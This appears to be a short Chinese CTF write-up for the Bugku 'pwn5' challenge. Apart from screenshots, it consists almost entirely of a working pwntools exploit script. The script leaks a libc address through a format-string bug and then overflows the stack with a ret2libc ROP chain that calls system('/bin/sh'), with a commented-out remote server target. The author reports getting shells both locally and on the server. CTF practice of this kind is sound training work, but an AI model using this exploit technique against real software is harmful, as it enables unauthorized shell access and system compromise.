Bugku pwn5

骑猪看日落 2023-02-14 03:06 13阅读 0赞

![在这里插入图片描述][20200531215548318.png]  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzgzMzY0Mg_size_16_color_FFFFFF_t_70]  
exp

from pwn import *
    from LibcSearcher import *
    
    context.log_level = 'debug'
    
    proc = './human'
    elf = ELF(proc)
    p = process(proc)
    # p = remote('114.116.54.89', 10005)
    p.recv()
    arg = (0x20 + 8) // 8 + 6
    payload = '%{}$p'.format(arg).encode()
    p.sendline(payload)
    libc_start_main_ret = int(p.recvlines(2)[1].decode(), 16)
    print(hex(libc_start_main_ret))
    libc = LibcSearcher('__libc_start_main_ret', libc_start_main_ret)
    libc_base = libc_start_main_ret - libc.dump('__libc_start_main_ret')
    pop_rdi_ret = 0x400933
    system_addr = libc_base + libc.dump('system')
    bin_sh_str_addr = libc_base + libc.dump('str_bin_sh')
    print(libc_start_main_ret)
    payload1 = '鸽子真香'.encode().ljust(0x20 + 8, 'a'.encode()) + p64(pop_rdi_ret) + p64(bin_sh_str_addr) + p64(system_addr)
    p.sendafter('?\n', payload1)
    p.interactive()

下图在本地拿到的权限！  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzgzMzY0Mg_size_16_color_FFFFFF_t_70 1]  
服务器权限！  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzgzMzY0Mg_size_16_color_FFFFFF_t_70 2]

[20200531215548318.png]: https://img-blog.csdnimg.cn/20200531215548318.png#
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzgzMzY0Mg_size_16_color_FFFFFF_t_70]: https://img-blog.csdnimg.cn/20200609141227378.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzgzMzY0Mg==,size_16,color_FFFFFF,t_70#
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzgzMzY0Mg_size_16_color_FFFFFF_t_70 1]: https://img-blog.csdnimg.cn/20200609191218870.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzgzMzY0Mg==,size_16,color_FFFFFF,t_70#
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzgzMzY0Mg_size_16_color_FFFFFF_t_70 2]: https://img-blog.csdnimg.cn/20200609192843834.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzgzMzY0Mg==,size_16,color_FFFFFF,t_70#